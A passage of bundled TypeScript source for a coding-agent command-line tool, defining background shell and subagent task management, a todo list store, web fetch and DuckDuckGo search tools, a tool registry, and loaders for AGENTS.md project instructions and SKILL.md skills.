...]\\n${s.slice(-MAX_OUTPUT)}`;\n}\n\nfunction formatAgentTaskLine(task: AgentTaskSnapshot): string {\n const duration = formatDuration(task.startedAt, task.endedAt);\n const label = task.description ?? task.prompt.slice(0, 60);\n const status =\n task.status === \"running\" ? `running ${duration}` : `${task.status} after ${duration}`;\n return `${task.id} [${status}] ${label}`;\n}\n\nexport const taskListTool: Tool = {\n name: \"task_list\",\n description: \"List background tasks (shell commands and subagents) with status and runtime.\",\n permission: \"read\",\n parameters: z.object({}),\n execute() {\n const shell = formatTaskList(defaultTaskManager.list());\n const agents = defaultAgentTasks.list();\n const agentLines =\n agents.length === 0\n ? \"No background subagents.\"\n : `Background subagents:\\n${agents.map(formatAgentTaskLine).join(\"\\n\")}`;\n return Promise.resolve({ content: `${shell}\\n${agentLines}` });\n },\n};\n\nexport const taskOutputTool: Tool<typeof idSchema> = {\n name: \"task_output\",\n description:\n \"Read the current output of a background task (shell command or subagent; works while still running).\",\n permission: \"read\",\n parameters: idSchema,\n execute(args) {\n const shell = defaultTaskManager.get(args.id);\n if (shell) {\n const body = truncateOutput(shell.output.replace(/\\s+$/, \"\") || \"(no output yet)\");\n return Promise.resolve({ content: `${formatTaskLine(shell)}\\n${body}` });\n }\n const agent = defaultAgentTasks.get(args.id);\n if (agent) {\n const body =\n agent.status === \"running\"\n ? \"(still running)\"\n : truncateOutput(agent.result.replace(/\\s+$/, \"\") || \"(no report)\");\n return Promise.resolve({ content: `${formatAgentTaskLine(agent)}\\n${body}` });\n }\n return Promise.resolve({ content: `Unknown task: ${args.id}`, isError: true });\n },\n};\n\nexport const taskKillTool: Tool<typeof idSchema> = {\n name: \"task_kill\",\n description: \"Stop a running background task (shell command process tree or subagent).\",\n permission: \"exec\",\n parameters: idSchema,\n execute(args) {\n const shell = defaultTaskManager.get(args.id);\n const agent = shell ? undefined : defaultAgentTasks.get(args.id);\n const task = shell ?? agent;\n if (!task) {\n return Promise.resolve({ content: `Unknown task: ${args.id}`, isError: true });\n }\n if (task.status !== \"running\") {\n return Promise.resolve({\n content: `Task ${args.id} is not running (status: ${task.status}).`,\n isError: true,\n });\n }\n if (shell) {\n defaultTaskManager.kill(args.id);\n } else {\n defaultAgentTasks.kill(args.id);\n }\n return Promise.resolve({ content: `Task ${args.id} stopped.` });\n },\n};\n","import { EventEmitter } from \"node:events\";\n\nexport type AgentTaskStatus = \"running\" | \"completed\" | \"failed\" | \"stopped\";\n\nexport interface AgentTaskSnapshot {\n id: string;\n prompt: string;\n description?: string;\n status: AgentTaskStatus;\n startedAt: number;\n endedAt?: number;\n result: string;\n}\n\ninterface AgentTaskRecord {\n id: string;\n prompt: string;\n description?: string;\n status: AgentTaskStatus;\n startedAt: number;\n endedAt?: number;\n result: string;\n controller: AbortController;\n notified: boolean;\n}\n\n// Finished records are kept only so task_output can still answer for recent\n// tasks; once the parent has been notified they are dropped oldest-first\n// beyond this cap, so a long session cannot accumulate them without bound.\nconst MAX_FINISHED_RECORDS = 50;\n\n// Background subagent runs, mirroring src/tasks/manager.ts for shell tasks.\n// The payload is a promise-producing closure (a child AgentLoop) instead of\n// a child process; finished results are drained into the parent loop's\n// message stream at the next step boundary so the main agent learns\n// outcomes without polling, and are also surfaced to the UI via \"update\".\nexport class AgentTaskManager extends EventEmitter {\n private records = new Map<string, AgentTaskRecord>();\n private counter = 0;\n\n start(\n run: (signal: AbortSignal) => Promise<string>,\n meta: { prompt: string; description?: string },\n ): AgentTaskSnapshot {\n const id = `agent-${++this.counter}`;\n const rec: AgentTaskRecord = {\n id,\n prompt: meta.prompt,\n description: meta.description,\n status: \"running\",\n startedAt: Date.now(),\n result: \"\",\n controller: new AbortController(),\n notified: false,\n };\n this.records.set(id, rec);\n void run(rec.controller.signal)\n .then((result) => this.finish(rec, \"completed\", result))\n .catch((error) =>\n this.finish(rec, \"failed\", error instanceof Error ? error.message : String(error)),\n );\n this.emitUpdate(rec);\n return this.snapshot(rec);\n }\n\n get(id: string): AgentTaskSnapshot | undefined {\n const rec = this.records.get(id);\n return rec ? this.snapshot(rec) : undefined;\n }\n\n list(): AgentTaskSnapshot[] {\n return [...this.records.values()].map((rec) => this.snapshot(rec));\n }\n\n runningCount(): number {\n let count = 0;\n for (const rec of this.records.values()) {\n if (rec.status === \"running\") count += 1;\n }\n return count;\n }\n\n kill(id: string): AgentTaskSnapshot | undefined {\n const rec = this.records.get(id);\n if (!rec || rec.status !== \"running\") return undefined;\n rec.controller.abort();\n this.finish(rec, \"stopped\", rec.result || \"Stopped by user.\");\n return this.snapshot(rec);\n }\n\n cleanup(): AgentTaskSnapshot[] {\n const killed: AgentTaskSnapshot[] = [];\n for (const rec of this.records.values()) {\n if (rec.status === \"running\") {\n rec.controller.abort();\n this.finish(rec, \"stopped\", rec.result || \"Stopped on shutdown.\");\n killed.push(this.snapshot(rec));\n }\n }\n return killed;\n }\n\n // Finished tasks whose result has not yet been handed to the parent loop.\n drainNotifications(): AgentTaskSnapshot[] {\n const drained: AgentTaskSnapshot[] = [];\n for (const rec of this.records.values()) {\n if (rec.status !== \"running\" && !rec.notified) {\n rec.notified = true;\n drained.push(this.snapshot(rec));\n }\n }\n this.pruneFinished();\n return drained;\n }\n\n // Map iteration is insertion-ordered, so the first finished records met are\n // the oldest. Never drop an un-notified record: the parent has not seen its\n // result yet. Running records are untouched.\n private pruneFinished(): void {\n let finished = 0;\n for (const rec of this.records.values()) {\n if (rec.status !== \"running\") finished += 1;\n }\n let excess = finished - MAX_FINISHED_RECORDS;\n if (excess <= 0) return;\n for (const rec of this.records.values()) {\n if (excess <= 0) return;\n if (rec.status !== \"running\" && rec.notified) {\n this.records.delete(rec.id);\n excess -= 1;\n }\n }\n }\n\n private finish(rec: AgentTaskRecord, status: AgentTaskStatus, result: string): void {\n if (rec.status !== \"running\") return;\n rec.status = status;\n rec.result = result;\n rec.endedAt = Date.now();\n this.emitUpdate(rec);\n }\n\n private emitUpdate(rec: AgentTaskRecord): void {\n this.emit(\"update\", this.snapshot(rec));\n }\n\n private snapshot(rec: AgentTaskRecord): AgentTaskSnapshot {\n return {\n id: rec.id,\n prompt: rec.prompt,\n description: rec.description,\n status: rec.status,\n startedAt: rec.startedAt,\n endedAt: rec.endedAt,\n result: rec.result,\n };\n }\n}\n\nexport const defaultAgentTasks = new AgentTaskManager();\n\n// One-line REPL announcement for a task status change. A failure is the final\n// state after the child loop's own retries, so the reason (first line of the\n// failure report, which reads \"Subagent failed: <cause>\") is surfaced inline —\n// a bare \"failed\" looks like a transient hiccup even though the full report\n// has been delivered to the main agent, which decides how to recover.\nexport function formatAgentTaskUpdate(task: AgentTaskSnapshot): string {\n const label = task.description ? `: ${task.description}` : \"\";\n if (task.status === \"running\") {\n return `Background subagent ${task.id} started${label}`;\n }\n let text = `Background subagent ${task.id} ${task.status}${label}`;\n if (task.status === \"failed\") {\n const reason = (task.result.split(\"\\n\")[0] ?? \"\").replace(/^Subagent failed:\\s*/, \"\");\n if (reason) {\n text += ` — ${reason.length > 140 ? `${reason.slice(0, 140)}…` : reason}`;\n }\n }\n return text;\n}\n","import type { TaskSnapshot } from \"./manager\";\n\nexport function formatDuration(startedAt: number, endedAt?: number): string {\n const seconds = Math.max(0, Math.round(((endedAt ?? Date.now()) - startedAt) / 1000));\n if (seconds < 60) return `${seconds}s`;\n const minutes = Math.floor(seconds / 60);\n if (minutes < 60) return `${minutes}m${seconds % 60}s`;\n return `${Math.floor(minutes / 60)}h${minutes % 60}m`;\n}\n\nfunction formatStatus(task: TaskSnapshot): string {\n const duration = formatDuration(task.startedAt, task.endedAt);\n if (task.status === \"running\") return `running ${duration}`;\n const exit =\n task.exitCode === null || task.exitCode === undefined ? \"\" : `, exit ${task.exitCode}`;\n return `${task.status}${exit} after ${duration}`;\n}\n\nexport function formatTaskLine(task: TaskSnapshot): string {\n const label = task.description ? `${task.description} (${task.command})` : task.command;\n return `${task.id} [${formatStatus(task)}] ${label}`;\n}\n\nexport function formatTaskList(tasks: TaskSnapshot[]): string {\n if (tasks.length === 0) return \"No background tasks.\";\n return `Background tasks:\\n${tasks.map(formatTaskLine).join(\"\\n\")}`;\n}\n\nexport function formatTaskStarted(task: TaskSnapshot): string {\n const label = task.description ? `${task.description} (${task.command})` : task.command;\n return `Background task ${task.id} started: ${label}`;\n}\n\nexport function formatTaskFinished(task: TaskSnapshot): string {\n const exit =\n task.exitCode === null || task.exitCode === undefined ? \"\" : ` (exit ${task.exitCode})`;\n switch (task.status) {\n case \"completed\":\n return `Background task ${task.id} finished${exit}: ${task.command}`;\n case \"failed\":\n return `Background task ${task.id} failed${exit}: ${task.command}`;\n case \"timed_out\":\n return `Background task ${task.id} timed out: ${task.command}`;\n case \"stopped\":\n return `Background task ${task.id} stopped: ${task.command}`;\n default:\n return `Background task ${task.id}: ${task.command}`;\n }\n}\n","import { mkdir, readFile, rename, rm, writeFile } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"./types\";\n\nexport interface TodoItem {\n id: number;\n title: string;\n status: \"pending\" | \"in_progress\" | \"done\";\n}\n\nconst todoItemSchema = z.object({\n id: z.number().int(),\n title: z.string(),\n status: z.enum([\"pending\", \"in_progress\", \"done\"]),\n});\n\nconst writeSchema = z.object({\n todos: z.array(todoItemSchema).describe(\"The full todo list, replacing the current one\"),\n});\n\nconst readSchema = z.object({});\n\nfunction fileFor(cwd: string): string {\n return path.join(cwd, \".star\", \"todos.json\");\n}\n\n// Wired by the agent loop to the permission mode: readonly/plan sessions\n// still keep the in-memory list but must not touch .star/todos.json.\nlet persistGuard: () => boolean = () => true;\n\nexport function setTodoPersistGuard(guard: () => boolean): void {\n persistGuard = guard;\n}\n\nexport class TodoStore {\n private items = new Map<number, TodoItem>();\n\n list(): TodoItem[] {\n return [...this.items.values()];\n }\n\n replace(items: TodoItem[]): void {\n this.items.clear();\n for (const item of items) {\n this.items.set(item.id, item);\n }\n }\n\n async load(cwd: string): Promise<void> {\n let raw: string;\n try {\n raw = await readFile(fileFor(cwd), \"utf8\");\n } catch {\n return;\n }\n try {\n const parsed: unknown = JSON.parse(raw);\n if (Array.isArray(parsed)) {\n this.replace(parsed.filter((it) => todoItemSchema.safeParse(it).success));\n }\n } catch {\n // corrupted file: keep current state\n }\n }\n\n // Atomic write (tmp + rename): a crash or failed save can never leave a\n // truncated todos.json behind. An empty or fully completed list has no\n // resume value — rehydrating it would only restore finished work — so the\n // file is deleted instead of persisted.\n async save(cwd: string): Promise<void> {\n if (!persistGuard()) {\n return;\n }\n const items = this.list();\n const file = fileFor(cwd);\n if (items.length === 0 || items.every((it) => it.status === \"done\")) {\n await rm(file, { force: true });\n return;\n }\n await mkdir(path.join(cwd, \".star\"), { recursive: true });\n const tmp = `${file}.tmp`;\n await writeFile(tmp, `${JSON.stringify(items, null, 2)}\\n`);\n await rename(tmp, file);\n }\n}\n\nconst SYMBOLS: Record<TodoItem[\"status\"], string> = {\n pending: \"[ ]\",\n in_progress: \"[~]\",\n done: \"[x]\",\n};\n\nexport function formatTodos(items: TodoItem[]): string {\n if (items.length === 0) {\n return \"No todos.\";\n }\n const lines = items.map((it) => `${SYMBOLS[it.status]} ${it.id}. ${it.title}`);\n const width = Math.max(...lines.map((l) => l.length));\n return lines\n .map((line, i) => {\n const status = items[i]?.status;\n return status === \"pending\" ? line : `${line.padEnd(width + 4)}(${status})`;\n })\n .join(\"\\n\");\n}\n\nconst defaultStore = new TodoStore();\n\n// Full parsed list from a todo_write args payload, or null when malformed.\n// The REPL uses this to mirror the todo list next to the input box.\nexport function parseTodoArgs(args: unknown): TodoItem[] | null {\n const parsed = writeSchema.safeParse(args);\n return parsed.success ? parsed.data.todos : null;\n}\n\n// Titles of unfinished items from a todo_write args payload; [] when the\n// payload is malformed. Used by the agent loop to spot turns that end while\n// the model's own todo list still has open work.\nexport function pendingTodoTitles(args: unknown): string[] {\n return (parseTodoArgs(args) ?? []).filter((t) => t.status !== \"done\").map((t) => t.title);\n}\n\n// Load the persisted todo list for a cwd into the default store and return\n// it. Called only when the user explicitly continues a project (session\n// resume) — a fresh session never rehydrates stale todos on its own.\nexport async function loadTodos(cwd: string): Promise<TodoItem[]> {\n await defaultStore.load(cwd);\n return defaultStore.list();\n}\n\n// Clear the in-memory list without touching .star/todos.json — a new session\n// starts clean even when a previous session's list is still on disk.\nexport function resetTodos(): void {\n defaultStore.replace([]);\n}\n\nexport function createTodoTools(store: TodoStore = defaultStore): Tool[] {\n const todoWrite: Tool<typeof writeSchema> = {\n name: \"todo_write\",\n description:\n \"Replace the current todo list with the given items. Each item has an id, title, and status (pending, in_progress, done).\",\n permission: \"read\",\n parameters: writeSchema,\n async execute(args, ctx) {\n const parsed = writeSchema.safeParse(args);\n if (!parsed.success) {\n return { content: `Invalid todos: ${parsed.error.message}`, isError: true };\n }\n // Roll the in-memory list back when the save fails so memory and disk\n // never diverge silently.\n const previous = store.list();\n store.replace(parsed.data.todos);\n try {\n await store.save(ctx.cwd);\n } catch (err) {\n store.replace(previous);\n return { content: `Failed to save todos: ${(err as Error).message}`, isError: true };\n }\n const items = store.list();\n const done = items.filter((it) => it.status === \"done\").length;\n // The caller just supplied the list and the REPL mirrors it live, so a\n // compact confirmation is enough — echoing the whole list back would be\n // re-billed as prompt tokens on every following request.\n return { content: `Todo list updated (${done}/${items.length} done).` };\n },\n };\n\n const todoRead: Tool<typeof readSchema> = {\n name: \"todo_read\",\n description: \"Read the current todo list.\",\n permission: \"read\",\n parameters: readSchema,\n async execute() {\n // In-memory only: disk is hydrated explicitly on session resume, so a\n // fresh session's todo_read never resurrects the previous list.\n return { content: formatTodos(store.list()) };\n },\n };\n\n return [todoWrite, todoRead];\n}\n","import { z } from \"zod\";\nimport type { Tool } from \"../types\";\n\nconst DEFAULT_MAX_CHARS = 20000;\nconst MAX_BYTES = 2 * 1024 * 1024;\nconst TIMEOUT_MS = 30000;\n\nconst schema = z.object({\n url: z.string().describe(\"The http(s) URL to fetch\"),\n maxChars: z\n .number()\n .int()\n .positive()\n .optional()\n .describe(\"Maximum characters of text to return (default 20000)\"),\n});\n\n// String.fromCodePoint throws a RangeError on code points past U+10FFFF;\n// keep the original entity text for those instead of dying mid-page.\nfunction safeCodePoint(n: number, raw: string): string {\n if (!Number.isInteger(n) || n < 0 || n > 0x10ffff) {\n return raw;\n }\n return String.fromCodePoint(n);\n}\n\nexport function decodeEntities(s: string): string {\n return s\n .replace(/&#(\\d+);/g, (m, n) => safeCodePoint(Number(n), m))\n .replace(/&#x([0-9a-fA-F]+);/gi, (m, n) => safeCodePoint(Number.parseInt(n, 16), m))\n .replace(/&(quot|lt|gt|nbsp);/g, (m) => {\n switch (m) {\n case \""\":\n return '\"';\n case \"<\":\n return \"<\";\n case \">\":\n return \">\";\n case \" \":\n return \" \";\n default:\n return m;\n }\n })\n .replace(/&/g, \"&\");\n}\n\nfunction htmlToText(html: string): string {\n const noBlocks = html.replace(/<(script|style|noscript|template)\\b[^>]*>[\\s\\S]*?<\\/\\1>/gi, \" \");\n const withBreaks = noBlocks.replace(\n /<br\\s*\\/?>|<\\/(p|div|li|tr|h[1-6]|section|article|header|footer|blockquote|pre)>/gi,\n \"\\n\",\n );\n const stripped = decodeEntities(withBreaks.replace(/<[^>]+>/g, \" \"));\n return stripped\n .split(\"\\n\")\n .map((line) => line.replace(/\\s+/g, \" \").trim())\n .join(\"\\n\")\n .replace(/\\n{3,}/g, \"\\n\\n\")\n .trim();\n}\n\nasync function readBody(res: Response, maxChars: number): Promise<string> {\n if (!res.body) {\n return \"\";\n }\n const reader = res.body.getReader();\n const decoder = new TextDecoder(\"utf-8\");\n let bytes = 0;\n let text = \"\";\n try {\n for (;;) {\n const { done, value } = await reader.read();\n if (done) {\n break;\n }\n bytes += value.byteLength;\n text += decoder.decode(value, { stream: true });\n if (bytes >= MAX_BYTES || text.length >= maxChars * 2) {\n break;\n }\n }\n text += decoder.decode();\n } finally {\n reader.cancel().catch(() => {});\n }\n return text;\n}\n\nfunction truncate(s: string, maxChars: number): string {\n if (s.length <= maxChars) {\n return s;\n }\n return `${s.slice(0, maxChars)}\\n[truncated, showing first ${maxChars} of ${s.length} chars]`;\n}\n\nexport const webFetchTool: Tool<typeof schema> = {\n name: \"web_fetch\",\n description:\n \"Fetch a URL over http(s) and return its contents as readable text. HTML pages are converted to plain text (tags, scripts and styles removed). Output is truncated to maxChars (default 20000). Can reach internal/intranet addresses, so do not use it for untrusted URLs.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n let url: URL;\n try {\n url = new URL(args.url);\n } catch {\n return { content: `ERROR: invalid URL: ${args.url}`, isError: true };\n }\n if (url.protocol !== \"http:\" && url.protocol !== \"https:\") {\n return {\n content: `ERROR: only http(s) URLs are supported, got: ${url.protocol}`,\n isError: true,\n };\n }\n const maxChars = args.maxChars ?? DEFAULT_MAX_CHARS;\n const timeoutSignal = AbortSignal.timeout(TIMEOUT_MS);\n const signal = ctx.abortSignal\n ? AbortSignal.any([timeoutSignal, ctx.abortSignal])\n : timeoutSignal;\n let res: Response;\n try {\n res = await fetch(url, { signal, redirect: \"follow\" });\n } catch (err) {\n if (ctx.abortSignal?.aborted) {\n return { content: \"ERROR: request aborted\", isError: true };\n }\n if (timeoutSignal.aborted) {\n return { content: `ERROR: request timed out after ${TIMEOUT_MS / 1000}s`, isError: true };\n }\n const message = err instanceof Error ? err.message : String(err);\n return { content: `ERROR: failed to fetch ${args.url}: ${message}`, isError: true };\n }\n if (!res.ok) {\n await res.body?.cancel().catch(() => {});\n return {\n content: `ERROR: HTTP ${res.status} ${res.statusText} for ${args.url}`,\n isError: true,\n };\n }\n const [rawType = \"\"] = (res.headers.get(\"content-type\") ?? \"text/plain\").split(\";\");\n const contentType = rawType.trim().toLowerCase();\n const isHtml = contentType === \"text/html\" || contentType === \"application/xhtml+xml\";\n const isText =\n contentType.startsWith(\"text/\") ||\n contentType === \"application/json\" ||\n contentType === \"application/xml\" ||\n contentType.endsWith(\"+json\") ||\n contentType.endsWith(\"+xml\");\n if (!isHtml && !isText) {\n await res.body?.cancel().catch(() => {});\n return {\n content: `ERROR: unsupported content type: ${contentType} (${args.url})`,\n isError: true,\n };\n }\n let body: string;\n try {\n body = await readBody(res, maxChars);\n } catch (err) {\n const message = err instanceof Error ? err.message : String(err);\n return { content: `ERROR: failed to read response body: ${message}`, isError: true };\n }\n const text = isHtml ? htmlToText(body) : body;\n return { content: truncate(text, maxChars) };\n },\n};\n","import { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport { decodeEntities } from \"./fetch\";\n\nconst TIMEOUT_MS = 15000;\nconst DEFAULT_MAX_RESULTS = 5;\nconst MAX_RESULTS_LIMIT = 10;\nconst SEARCH_URL = \"https://html.duckduckgo.com/html/?q=\";\nconst USER_AGENT =\n \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\";\n\nconst schema = z.object({\n query: z.string().min(1).describe(\"The search query\"),\n maxResults: z\n .number()\n .int()\n .min(1)\n .max(MAX_RESULTS_LIMIT)\n .optional()\n .describe(\n `Maximum number of results to return (default ${DEFAULT_MAX_RESULTS}, max ${MAX_RESULTS_LIMIT})`,\n ),\n});\n\nexport interface SearchResult {\n title: string;\n url: string;\n snippet: string;\n}\n\nfunction stripTags(s: string): string {\n return decodeEntities(s.replace(/<[^>]+>/g, \" \"))\n .replace(/\\s+/g, \" \")\n .trim();\n}\n\nfunction normalizeUrl(href: string): string {\n const decoded = decodeEntities(href);\n const uddg = decoded.match(/[?&]uddg=([^&]+)/);\n if (uddg?.[1]) {\n try {\n return decodeURIComponent(uddg[1]);\n } catch {\n return decoded;\n }\n }\n if (decoded.startsWith(\"//\")) {\n return `https:${decoded}`;\n }\n return decoded;\n}\n\nexport function parseResults(html: string): SearchResult[] {\n const results: SearchResult[] = [];\n const anchorRe = /<a\\b[^>]*\\bclass\\s*=\\s*\"[^\"]*\\bresult__a\\b[^\"]*\"[^>]*>[\\s\\S]*?<\\/a>/gi;\n const anchors = [...html.matchAll(anchorRe)];\n for (const [i, anchor] of anchors.entries()) {\n const full = anchor[0];\n const hrefMatch = full.match(/href\\s*=\\s*\"([^\"]*)\"/i);\n if (!hrefMatch?.[1]) {\n continue;\n }\n const url = normalizeUrl(hrefMatch[1]);\n const title = stripTags(full.replace(/^<a\\b[^>]*>/i, \"\").replace(/<\\/a>\\s*$/i, \"\"));\n const blockStart = (anchor.index ?? 0) + full.length;\n const blockEnd = i + 1 < anchors.length ? (anchors[i + 1]?.index ?? html.length) : html.length;\n const block = html.slice(blockStart, blockEnd);\n const snippetMatch = block.match(\n /<(?:a|div)\\b[^>]*\\bclass\\s*=\\s*\"[^\"]*\\bresult__snippet\\b[^\"]*\"[^>]*>([\\s\\S]*?)<\\/(?:a|div)>/i,\n );\n const snippet = snippetMatch?.[1] ? stripTags(snippetMatch[1]) : \"\";\n if (title && url) {\n results.push({ title, url, snippet });\n }\n }\n return results;\n}\n\nexport const webSearchTool: Tool<typeof schema> = {\n name: \"web_search\",\n description:\n \"Search the web using DuckDuckGo and return a numbered list of results with title, URL and snippet. No API key required. Use web_fetch to read a result's full page.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n const maxResults = Math.min(args.maxResults ?? DEFAULT_MAX_RESULTS, MAX_RESULTS_LIMIT);\n const url = `${SEARCH_URL}${encodeURIComponent(args.query)}`;\n const timeoutSignal = AbortSignal.timeout(TIMEOUT_MS);\n const signal = ctx.abortSignal\n ? AbortSignal.any([timeoutSignal, ctx.abortSignal])\n : timeoutSignal;\n let res: Response;\n try {\n res = await fetch(url, {\n signal,\n redirect: \"follow\",\n headers: { \"user-agent\": USER_AGENT, accept: \"text/html\" },\n });\n } catch (err) {\n if (ctx.abortSignal?.aborted) {\n return { content: \"ERROR: request aborted\", isError: true };\n }\n const name = err instanceof Error ? err.name : \"\";\n if (timeoutSignal.aborted || name === \"TimeoutError\") {\n return { content: `ERROR: search timed out after ${TIMEOUT_MS / 1000}s`, isError: true };\n }\n const message = err instanceof Error ? err.message : String(err);\n return { content: `ERROR: search request failed: ${message}`, isError: true };\n }\n if (!res.ok) {\n await res.body?.cancel().catch(() => {});\n return {\n content: `ERROR: HTTP ${res.status} ${res.statusText} from DuckDuckGo`,\n isError: true,\n };\n }\n let html: string;\n try {\n html = await res.text();\n } catch (err) {\n const message = err instanceof Error ? err.message : String(err);\n return { content: `ERROR: failed to read search response: ${message}`, isError: true };\n }\n const results = parseResults(html).slice(0, maxResults);\n if (results.length === 0) {\n return {\n content: `ERROR: no results found for \"${args.query}\" (the response may have been blocked or the page layout changed)`,\n isError: true,\n };\n }\n const lines = results.map(\n (r, i) => `${i + 1}. ${r.title}\\n ${r.url}${r.snippet ? `\\n ${r.snippet}` : \"\"}`,\n );\n return { content: lines.join(\"\\n\") };\n },\n};\n","import { bashTool } from \"./bash\";\nimport { editFileTool } from \"./fs/edit\";\nimport { globTool } from \"./fs/glob\";\nimport { grepTool } from \"./fs/grep\";\nimport { createReadFileTool } from \"./fs/read\";\nimport { readImageTool } from \"./fs/read-image\";\nimport { writeFileTool } from \"./fs/write\";\nimport { screenshotTool } from \"./screenshot\";\nimport { taskKillTool, taskListTool, taskOutputTool } from \"./tasks\";\nimport { type TodoStore, createTodoTools } from \"./todo\";\nimport type { Tool } from \"./types\";\nimport { webFetchTool } from \"./web/fetch\";\nimport { webSearchTool } from \"./web/search\";\n\nexport class ToolRegistry {\n private tools = new Map<string, Tool>();\n\n // todoStore defaults to the module-level shared store; subagent loops pass\n // their own instance so a child's todo_write cannot clobber the parent list.\n constructor(todoStore?: TodoStore) {\n for (const tool of [\n // Fresh per registry (i.e. per agent loop): the unchanged-since-last-\n // read cache must not leak across loops, whose contexts differ.\n createReadFileTool(),\n readImageTool,\n screenshotTool,\n writeFileTool,\n editFileTool,\n globTool,\n grepTool,\n bashTool,\n webFetchTool,\n webSearchTool,\n taskListTool,\n taskOutputTool,\n taskKillTool,\n ...createTodoTools(todoStore),\n ]) {\n this.register(tool);\n }\n }\n\n register(tool: Tool): void {\n this.tools.set(tool.name, tool);\n }\n\n // Drops per-session volatile tool state after a wholesale history rewrite\n // (compaction, /undo, resume): anything a tool remembers as \"already sent\n // to the model\" may no longer be in the context.\n resetVolatileState(): void {\n for (const tool of this.tools.values()) tool.reset?.();\n }\n\n get(name: string): Tool | undefined {\n return this.tools.get(name);\n }\n\n list(): Tool[] {\n return [...this.tools.values()];\n }\n\n names(): string[] {\n return [...this.tools.keys()];\n }\n}\n","import { readFileSync, statSync } from \"node:fs\";\nimport path from \"node:path\";\n\nexport const PROJECT_MEMORY_FILE = \"AGENTS.md\";\nexport const PROJECT_MEMORY_MAX_CHARS = 32 * 1024;\n\ninterface CacheEntry {\n mtimeMs: number;\n block: string | null;\n}\n\nconst cache = new Map<string, CacheEntry>();\n\n// Reads <cwd>/AGENTS.md as project memory for the system prompt. Returns a\n// delimited block, or null when the file is missing, unreadable, or empty.\n// Synchronous like the git helpers; content is cached by path and re-read\n// only when the mtime changes, so /init regenerations mid-session are\n// picked up without a stat+read on every turn beyond a cheap statSync.\nexport function readProjectMemory(cwd: string): string | null {\n const file = path.join(cwd, PROJECT_MEMORY_FILE);\n let mtimeMs: number;\n try {\n mtimeMs = statSync(file).mtimeMs;\n } catch {\n return null;\n }\n const hit = cache.get(file);\n if (hit && hit.mtimeMs === mtimeMs) return hit.block;\n\n let block: string | null = null;\n try {\n let body = readFileSync(file, \"utf8\").trim();\n if (body) {\n if (body.length > PROJECT_MEMORY_MAX_CHARS) {\n body = `${body.slice(0, PROJECT_MEMORY_MAX_CHARS)}\\n\\n[AGENTS.md truncated to ${PROJECT_MEMORY_MAX_CHARS} characters]`;\n }\n block = `# Project instructions (AGENTS.md)\\n${body}`;\n }\n } catch {\n block = null;\n }\n cache.set(file, { mtimeMs, block });\n return block;\n}\n","import { readFileSync, readdirSync, statSync } from \"node:fs\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport { starHome } from \"../config/paths\";\nimport type { Tool, ToolResult } from \"../tools/types\";\n\nexport const SKILL_FILE = \"SKILL.md\";\nexport const SKILL_MAX_CHARS = 32 * 1024;\n\nconst NAME_PATTERN = /^[a-z0-9-]+$/;\n\nexport interface Skill {\n name: string;\n description: string;\n filePath: string;\n // Directory holding the SKILL.md; supporting files referenced by the skill\n // are resolved relative to it.\n dir: string;\n scope: \"project\" | \"user\";\n}\n\n// Parses the YAML-ish frontmatter of a SKILL.md without a yaml dependency:\n// only flat `key: value` pairs are recognized, anything else is ignored.\nfunction parseFrontmatter(raw: string): { meta: Record<string, string>; body: string } | null {\n const match = raw.match(/^---\\r?\\n([\\s\\S]*?)\\r?\\n---\\r?\\n?/);\n if (!match) return null;\n const meta: Record<string, string> = {};\n for (const line of (match[1] ?? \"\").split(/\\r?\\n/)) {\n const kv = line.match(/^([A-Za-z][A-Za-z0-9_-]*):\\s*(.*)$/);\n if (kv?.[1]) meta[kv[1]] = (kv[2] ?? \"\").trim();\n }\n return { meta, body: raw.slice(match[0].length).trim() };\n}\n\ninterface CacheEntry {\n mtimeMs: number;\n skill: Skill | null;\n}\n\nconst cache = new Map<string, CacheEntry>();\n\nfunction parseSkillFile(filePath: string, dirName: string, scope: Skill[\"scope\"]): Skill | null {\n let mtimeMs: number;\n try {\n mtimeMs = statSync(filePath).mtimeMs;\n } catch {\n return null;\n }\n const hit = cache.get(filePath);\n if (hit && hit.mtimeMs === mtimeMs) return hit.skill;\n\n let skill: Skill | null = null;\n try {\n const parsed = parseFrontmatter(readFileSync(filePath, \"utf8\"));\n const name = parsed?.meta.name || dirName;\n const description = parsed?.meta.description;\n if (parsed && NAME_PATTERN.test(name) && description) {\n skill = { name, description, filePath, dir: path.dirname(filePath), scope };\n }\n } catch {\n skill = null;\n }\n cache.set(filePath, { mtimeMs, skill });\n return skill;\n}\n\nfunction scanDir(base: string, scope: Skill[\"scope\"], into: Map<string, Skill>): void {\n let entries: string[];\n try {\n entries = readdirSync(base);\n } catch {\n return;\n }\n for (const entry of entries.sort()) {\n if (!NAME_PATTERN.test(entry)) continue;\n const parsed = parseSkillFile(path.join(base, entry, SKILL_FILE), entry, scope);\n if (parsed) into.set(parsed.name, parsed);\n }\n}\n\n// Discovers skills: user scope in <home>/skills/<name>/SKILL.md, project scope\n// in <cwd>/.star/skills/<name>/SKILL.md. Project skills override user skills\n// of the same name. Metadata is cached per file by mtime, so calling this on\n// every turn only costs two directory scans plus a stat per candidate.\nexport function discoverSkills(cwd: string, home: string = starHome()): Skill[] {\n const byName = new Map<string, Skill>();\n scanDir(path.join(home, \"skills\"), \"user\", byName);\n scanDir(path.join(cwd, \".star\", \"skills\"), \"project\", byName);\n return [...byName.values()];\n}\n\n// System-prompt block listing the available skills. The model loads a skill's\n// full instructions on demand through the skill tool instead of paying the\n// token cost upfront.\nexport function formatSkillsBlock(skills: Skill[]): string {\n const lines = skills.map((s) => `- ${s.name}: ${s.description}`);\n return [\n \"# Available skills\",\n \"When the user's request matches one of these skills, call the skill tool with its name to load the full instructions before proceeding:\",\n ...lines,\n ].join(\"\\n\");\n}\n\n// Reads the skill body (frontmatter stripped) for the skill tool result.\nexport function loadSkillBody(skill: Skill): string | null {\n let parsed: { meta: Record<string, string>; body: string } | null = null;\n try {\n parsed = parseFrontmatter(readFileSync(skill.filePath, \"utf8\"));\n } catch {\n return null;\n }\n if (!parsed?.body) return null;\n if (parsed.body.length > SKILL_MAX_CHARS) {\n return `${parsed.body.slice(0, SKILL_MAX_CHARS)}\\n\\n[skill truncated to 